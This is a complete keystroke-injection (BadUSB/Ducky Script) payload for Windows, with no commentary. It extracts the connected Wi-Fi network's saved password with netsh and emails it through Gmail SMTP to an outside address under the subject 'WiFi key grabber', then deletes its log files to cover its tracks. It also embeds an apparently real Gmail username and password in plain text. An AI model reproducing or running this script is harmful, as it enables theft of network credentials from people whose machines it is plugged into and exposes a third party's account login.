DELAY 3000 GUI d DELAY 500 GUI r DELAY 500 STRING cmd DELAY 500 ENTER DELAY 500 STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=:" %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set A=%A DELAY 500 ENTER DELAY 500 STRING set A="%A:~1%" DELAY 500 ENTER DELAY 500 STRING netsh wlan show profiles %A% key=clear | findstr /c:"Network type" /c:"Authentication" /c:"Key Content" | findstr /v "broadcast" | findstr /v "Radio">>A.txt DELAY 500 ENTER DELAY 500 STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" A.txt') do set B=%A DELAY 500 ENTER DELAY 500 STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" A.txt') do set C=%A DELAY 500 ENTER DELAY 500 STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" A.txt') do set D=%A DELAY 500 ENTER DELAY 500 STRING del A.txt DELAY 500 ENTER DELAY 500 STRING echo SSID: %A%>>Log.txt & echo Network type: %B%>>Log.txt & echo Authentication: %C%>>Log.txt & echo Password: %D%>>Log.txt DELAY 500 ENTER DELAY 500 STRING powershell DELAY 500 ENTER DELAY 7000 STRING $SMTPServer = 'smtp.gmail.com' DELAY 500 ENTER DELAY 500 STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587) DELAY 500 ENTER DELAY 500 STRING $SMTPInfo.EnableSsl = $true DELAY 500 ENTER DELAY 500 STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('crashbboy1@gmail.com', 'bboy21102012') DELAY 500 ENTER DELAY 500 STRING $ReportEmail = New-Object System.Net.Mail.MailMessage DELAY 500 ENTER DELAY 500 STRING $ReportEmail.From = 'crashbboy1@gmail.com' ENTER DELAY 500 STRING $ReportEmail.To.Add('joelsernamoreno@gmail.com') DELAY 500 ENTER DELAY 500 STRING $ReportEmail.Subject = 'WiFi key grabber' DELAY 500 ENTER DELAY 500 STRING $ReportEmail.Body = (Get-Content Log.txt | out-string) DELAY 500 ENTER DELAY 500 STRING $SMTPInfo.Send($ReportEmail) DELAY 500 ENTER DELAY 1000 STRING exit DELAY 500 ENTER DELAY 500 STRING del Log.txt & exit DELAY 500 ENTER